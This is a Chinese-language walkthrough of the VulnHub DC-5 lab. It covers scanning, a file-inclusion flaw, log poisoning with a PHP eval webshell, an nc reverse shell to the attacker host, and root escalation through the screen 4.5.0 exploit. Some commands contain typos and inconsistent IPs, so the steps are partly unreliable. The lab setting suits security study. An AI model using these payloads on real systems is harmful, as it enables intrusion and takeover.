vulnhub DC-5靶场

目录

• 1.信息收集
• 2.网站分析
• 3.漏洞利用
• 4.提升权限

1.信息收集

扫描主机

sudo arp-scan -l

扫描端口

nmap -p- 192.168.42.149

扫描指纹

whatweb 192.168.42.149

查看端口详细服务

nmap -A -p- -v 192.168.42.149

2.网站分析

扫描目录

dirbuster

浏览网站，发现都是静态页面

只有contact.php有上传窗口

尝试上传，发现问题copyright旁的数字发生变化，猜测thankyou.php存在文件包含

包含文件为footer.php

3.漏洞利用

开始bp测试字段(下面没图了，bp爆破，网站日志太大，无法连接蚁剑，建议大家在此靶场不要跑bp)

thankyou.php?file=/ect/passwd

植入一句话木马

thankyou.php?file=<?php @eval($_POST[cmd]);?>

由于前面信息收集我们确认了是nginx的站，访问日志和错误日志应该如下

/var/log/nginx/access.log

/var/log/nginx/error.log

文件包含，蚁剑连接shell

thankyou.php?file=/var/log/nginx/error.log

cmd

将shell反弹到kali上便于操作

s:nc hackip 8888 -e /bin/sh

监听

hack:nc -lvp 8888

优化界⾯

python -c "import pty;pty.spawn('/bin/bash')"

4.提升权限

提权常规命令

sudo -l

find / -perm -u=s -type f 2>/dev/null

提权命令网站

https://gtfobins.github.io/

发现screen 4.5.0，查找他的漏洞

searchsploit screen 4.5.0

searchsploit -m linux/local/41154.sh

下载攻击脚本

usr/share/exploitdb/exploits/linux/local/41154.sh

然后在桌面上用vim打开文件

发现脚本由三部分组成，两个c文件，一个命令集，拆分为三部分

（三选其一即可）

1.kali监听端口

python -m SimpleHTTPServer 8000

2.攻击机在kali上下载脚本

``wget 192.168.42.149:8888/libhax.c wget 192.168.42.149:8888/rootshell.c wget 192.168.42.149:8888/dc5.sh`

3.用蚁剑上传也可（必须上传在/tmp上，因为脚本写的是/tmp）

给脚本给权限

chmod +x dc5.sh

chmod 777 dc5.sh

在靶机上编译比较好，因为新版的kali可能版本较高

gcc -fPIC -shared -ldl -o libhax.so libhax.c

gcc -o rootshell rootshell.c

./dc5.sh执行脚本

提权成功